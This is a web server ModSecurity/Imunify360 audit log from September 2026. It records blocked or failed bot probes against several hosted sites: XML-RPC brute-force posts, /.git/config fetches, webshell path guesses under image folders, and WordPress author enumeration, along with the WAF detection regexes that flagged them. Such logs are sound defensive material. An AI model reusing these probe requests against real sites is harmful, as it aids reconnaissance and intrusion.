Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=3927, p1=268, p2=3520, p3=126, p4=13, p5=0, sr=92, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "ajutam.ro"] [uri "/wp-cron.php"] [unique_id "aqarOWM7dE9KgIIOpQiCfAAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ajutam.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789307705577236 21757 (- - -)
Stopwatch2: 1789307705577236 21757; combined=8524, p1=268, p2=3520, p3=126, p4=13, p5=4597, sr=92, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9a924f7c-Z--
--e3267845-A--
[13/Sep/2026:16:59:45.479330 +0300] aqasUWM7dE9KgIIOpQiCiwAAANE 94.143.198.219 33976 127.0.0.1 7081
--e3267845-B--
POST /xmlrpc.php HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 94.143.198.219
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 680
Content-Type: text/xml; charset=utf-8
Accept: */*
Accept-Language: ru,en-US;q=0.7,en;q=0.3
User-Agent: Mozilla/5.0 (Windows NT 6.3; x64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/14.0.0.0 Safari/537.36
--e3267845-C--
metaWeblog.newPost16021760217title0x6ce377efdescription0x6ce377efmt_keywords0x6ce377efmt_excerpt0x6ce377ef1
--e3267845-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--e3267845-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/003_i360_2_bruteforce.conf"] [line "196"] [id "33303"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:16-59.94.143.198.219"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789307985412648 66760 (- - -)
Stopwatch2: 1789307985412648 66760; combined=64907, p1=333, p2=58974, p3=0, p4=0, p5=3067, sr=112, sw=2533, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e3267845-Z--
--9b138a28-A--
[13/Sep/2026:17:04:48.168039 +0300] aqatgGM7dE9KgIIOpQiCoAAAANg 154.54.100.175 43664 127.0.0.1 7080
--9b138a28-B--
GET /.git/config HTTP/1.1
Host: ns2.behappydigital.com
X-Real-IP: 154.54.100.175
User-Agent: Mozilla/5.0 (Linux; Android 9; SM-G960F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.136 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip
--9b138a28-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--9b138a28-E--
--9b138a28-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:404"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Message: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=35095, p1=274, p2=34746, p3=68, p4=7, p5=0, sr=117, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ns2.behappydigital.com"] [uri "/.git/config"] [unique_id "aqatgGM7dE9KgIIOpQiCoAAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ns2.behappydigital.com"] [uri "/.git/config"] [unique_id "aqatgGM7dE9KgIIOpQiCoAAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ns2.behappydigital.com"] [uri "/.git/config"] [unique_id "aqatgGM7dE9KgIIOpQiCoAAAANg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "fff$" at UNIQUE_ID. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "548"] [id "77316842"] [msg "IM360 WAF: Performance measurement||PERF_ALL:combined=35095, p1=274, p2=34746, p3=68, p4=7, p5=0, sr=117, sw=0, l=0, gc=0||T:APACHE||"] [severity "NOTICE"] [tag "service_i360"] [tag "noshow"] [hostname "ns2.behappydigital.com"] [uri "/.git/config"] [unique_id "aqatgGM7dE9KgIIOpQiCoAAAANg"]
Stopwatch: 1789308288131093 37022 (- - -)
Stopwatch2: 1789308288131093 37022; combined=35566, p1=274, p2=34746, p3=68, p4=7, p5=470, sr=117, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--9b138a28-Z--
--cc370920-A--
[13/Sep/2026:17:07:55.152771 +0300] aqauOkwu1RSkptiiNIX-VgAAAIo 114.119.141.73 37694 127.0.0.1 7081
--cc370920-B--
GET /img/ufo19w_831.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 114.119.141.73
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (HTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en
Referer: https://www.ihelp.ro/adauga-favorite/1796677273159834
--cc370920-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 671f5901-11bf-4149-9d17-1aa87a0c412f
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--cc370920-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqauOkwu1RSkptiiNIX-VgAAAIo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19w_831.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19w_831.php"] [unique_id "aqauOkwu1RSkptiiNIX-VgAAAIo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789308474908276 244565 (- - -)
Stopwatch2: 1789308474908276 244565; combined=5520, p1=388, p2=5057, p3=0, p4=0, p5=74, sr=190, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--cc370920-Z--
--739e5527-A--
[13/Sep/2026:17:10:29.900305 +0300] aqau1WM7dE9KgIIOpQiCywAAAMc 216.81.248.147 47224 127.0.0.1 7081
--739e5527-B--
GET /.git/config HTTP/1.1
Host: ihelp.ro
X-Real-IP: 216.81.248.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1 (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.1
Accept-Charset: utf-8
Accept-Encoding: gzip
--739e5527-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: c7731ccb-fd0b-48d0-9ce3-ea3ae0c28712
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--739e5527-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/.git/config"] [unique_id "aqau1WM7dE9KgIIOpQiCywAAAMc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "ihelp.ro"] [uri "/.git/config"] [unique_id "aqau1WM7dE9KgIIOpQiCywAAAMc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "ihelp.ro"] [uri "/.git/config"] [unique_id "aqau1WM7dE9KgIIOpQiCywAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789308629659262 241095 (- - -)
Stopwatch2: 1789308629659262 241095; combined=32378, p1=803, p2=31430, p3=0, p4=0, p5=145, sr=121, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--739e5527-Z--
--e1728d1f-A--
[13/Sep/2026:17:14:56.698966 +0300] aqav4Ewu1RSkptiiNIX-fAAAAJQ 35.187.69.27 43130 127.0.0.1 7081
--e1728d1f-B--
GET //xmlrpc.php?rsd HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 35.187.69.27
X-Accel-Internal: /internal-nginx-static-location
Cookie: csrfToken=q%2BxKF66OwEI4hHlnn%2FHn32NmNzczMmIxYTYwMjk5ZGQwYzAwZTdiMDQxYmQyMjc3MDA1YjY2ZDU%3D
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--e1728d1f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e1728d1f-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/xmlrpc.php"] [unique_id "aqav4Ewu1RSkptiiNIX-fAAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/xmlrpc.php"] [unique_id "aqav4Ewu1RSkptiiNIX-fAAAAJQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789308896630087 68938 (- - -)
Stopwatch2: 1789308896630087 68938; combined=4566, p1=241, p2=4247, p3=0, p4=0, p5=77, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e1728d1f-Z--
--f0d3523a-A--
[13/Sep/2026:17:16:52.298418 +0300] aqawVEwu1RSkptiiNIX-nQAAAIk 185.16.39.223 35332 127.0.0.1 7081
--f0d3523a-B--
GET /images/images/cache.php HTTP/1.1
Host: mediabuy.ro
X-Real-IP: 185.16.39.223
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Cache-Control: max-age=0
referer: www.google.com
Upgrade-Insecure-Requests: 1
--f0d3523a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.3.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--f0d3523a-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "mediabuy.ro"] [uri "/images/images/cache.php"] [unique_id "aqawVEwu1RSkptiiNIX-nQAAAIk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "mediabuy.ro"] [uri "/images/images/cache.php"] [unique_id "aqawVEwu1RSkptiiNIX-nQAAAIk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/mediabuy.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789309012236989 61486 (- - -)
Stopwatch2: 1789309012236989 61486; combined=5178, p1=283, p2=4821, p3=0, p4=0, p5=74, sr=136, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--f0d3523a-Z--
--e336c362-A--
[13/Sep/2026:17:16:52.536786 +0300] aqawVEwu1RSkptiiNIX-ngAAAJg 185.16.39.223 35348 127.0.0.1 7081
--e336c362-B--
GET /images/images/cache.php HTTP/1.1
Host: mediabuy.ro
X-Real-IP: 185.16.39.223
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Cache-Control: max-age=0
referer: www.google.com
Upgrade-Insecure-Requests: 1
--e336c362-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.3.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e336c362-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "mediabuy.ro"] [uri "/images/images/cache.php"] [unique_id "aqawVEwu1RSkptiiNIX-ngAAAJg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/images/images/cache.php||SC:/var/www/vhosts/mediabuy.ro/httpdocs/images"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "mediabuy.ro"] [uri "/images/images/cache.php"] [unique_id "aqawVEwu1RSkptiiNIX-ngAAAJg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/mediabuy.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789309012502565 34279 (- - -)
Stopwatch2: 1789309012502565 34279; combined=4560, p1=283, p2=4131, p3=0, p4=0, p5=145, sr=124, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e336c362-Z--
--657d592f-A--
[13/Sep/2026:17:24:51.155026 +0300] aqayM2M7dE9KgIIOpQiD6wAAAM8 129.146.116.242 41430 127.0.0.1 7081
--657d592f-B--
GET /wp-admin/css/ HTTP/1.1
Host: axapres.ro
X-Real-IP: 129.146.116.242
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept-Language: en-US,en;q=0.9,fr;q=0.8
Cache-Control: max-age=0
referer: binance.com
Upgrade-Insecure-Requests: 1
--657d592f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--657d592f-E--
--657d592f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_autoindex.c"] [line 2329] [level 3] AH01276: Cannot serve directory /var/www/vhosts/axapres.ro/httpdocs/wp-admin/css/: No matching DirectoryIndex (index.php,index.html,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
Apache-Handler: httpd/unix-directory
Stopwatch: 1789309491143161 11961 (- - -)
Stopwatch2: 1789309491143161 11961; combined=6234, p1=1244, p2=4529, p3=83, p4=7, p5=370, sr=226, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--657d592f-Z--
--44771a77-A--
[13/Sep/2026:17:29:56.897872 +0300] aqazZGM7dE9KgIIOpQiEQQAAAMQ 35.239.27.78 41170 127.0.0.1 7081
--44771a77-B--
GET //?author=1 HTTP/1.1
Host: chania24.taxi
X-Real-IP: 35.239.27.78
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
--44771a77-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/7.4.33
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--44771a77-E--
--44771a77-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
